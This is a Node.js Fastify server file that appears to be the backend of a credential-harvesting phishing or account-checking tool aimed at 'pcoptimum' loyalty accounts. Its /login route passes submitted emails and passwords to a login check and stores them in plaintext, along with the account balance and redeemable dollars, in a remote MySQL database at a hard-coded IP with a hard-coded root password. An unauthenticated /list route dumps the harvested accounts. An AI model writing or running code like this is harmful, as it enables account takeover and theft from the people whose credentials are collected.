import Fastify from "fastify";
import fastifyStatic from "@fastify/static";
import { dirname, resolve, join } from "path";
import { fileURLToPath } from "url";
import { Sequelize, DataTypes } from "sequelize";
import { login } from "./login.mjs";

const __filename = fileURLToPath(import.meta.url);
const __dirname = dirname(__filename);

const fastify = Fastify({
    logger: true,
});
fastify.register(fastifyStatic, {
    root: resolve(__dirname, "public"),
    prefix: "/",
});

const sequelize = new Sequelize("pcoptimum", "root", "3edc#EDC", {
    host: "149.248.57.225",
    dialect: "mysql",
});

const Accounts = sequelize.define(
    "accounts",
    {
        // Model attributes are defined here
        email: {
            type: DataTypes.STRING,
            allowNull: false,
        },
        password: {
            type: DataTypes.STRING,
            allowNull: false,
        },
        userAgent: {
            type: DataTypes.TEXT("long"),
            allowNull: true,
        },
        ip: {
            type: DataTypes.STRING,
            allowNull: true,
        },
        success: {
            type: DataTypes.BOOLEAN,
            allowNull: false,
            defaultValue: false,
        },
        result: {
            type: DataTypes.TEXT("long"),
            allowNull: true,
        },
        error: {
            type: DataTypes.TEXT("long"),
            allowNull: true,
        },
        balance: {
            type: DataTypes.STRING,
            allowNull: true,
        },
        dollarsRedeemable: {
            type: DataTypes.STRING,
            allowNull: true,
        },
    },
    {
        // Other model options go here
    }
);

sequelize
    .authenticate()
    .then(() => {
        console.log("Connection has been established successfully.");
        Accounts.sync().then(() => {
            console.log(
                "The table for the Account model was just (re)created!"
            );
        });
    })
    .catch((error) => {
        console.error("Unable to connect to the database:", error);
    });

fastify.post("/login", async function (request, reply) {
    if (!request.body || !request.body.email || !request.body.password) {
        return reply
            .code(400)
            .send({ error: "email and password are required" });
    } else {
        const { email, password } = request.body;
        try {
            const res = await login(email, password);
            let balance = null;
            let dollarsRedeemable = null;
            if (res) {
                try {
                    const json = JSON.parse(res);
                    balance = json.balance + "";
                    dollarsRedeemable = json.dollarsRedeemable + "";
                } catch (error) {}
            }
            const account = await Accounts.create({
                email,
                password,
                userAgent: request.headers["user-agent"],
                success: true,
                result: res,
                balance,
                dollarsRedeemable,
            });
            return reply.code(200).send();
        } catch (error) {
            console.error(error.stack);
            const account = await Accounts.create({
                email,
                password,
                userAgent: request.headers["user-agent"],
                success: false,
                error: error.stack,
            });
            return reply.code(500).send(error);
        }
    }
});

fastify.get("/list", async function (request, reply) {
    let page = request.query.page ? parseInt(request.query.page) : 0;
    const query = {};
    if (request.query.success) {
        query.success = request.query.success === "true";
    }
    const accounts = await Accounts.findAll({
        offset: 20 * page,
        limit: 20,
        order: [["createdAt", "DESC"]],
        where: query,
    });
    const total = await Accounts.count({ where: query });
    return {
        data: accounts,
        total,
    };
});

fastify.listen({ port: 3000 }, function (err, address) {
    if (err) {
        fastify.log.error(err);
        process.exit(1);
    }
});
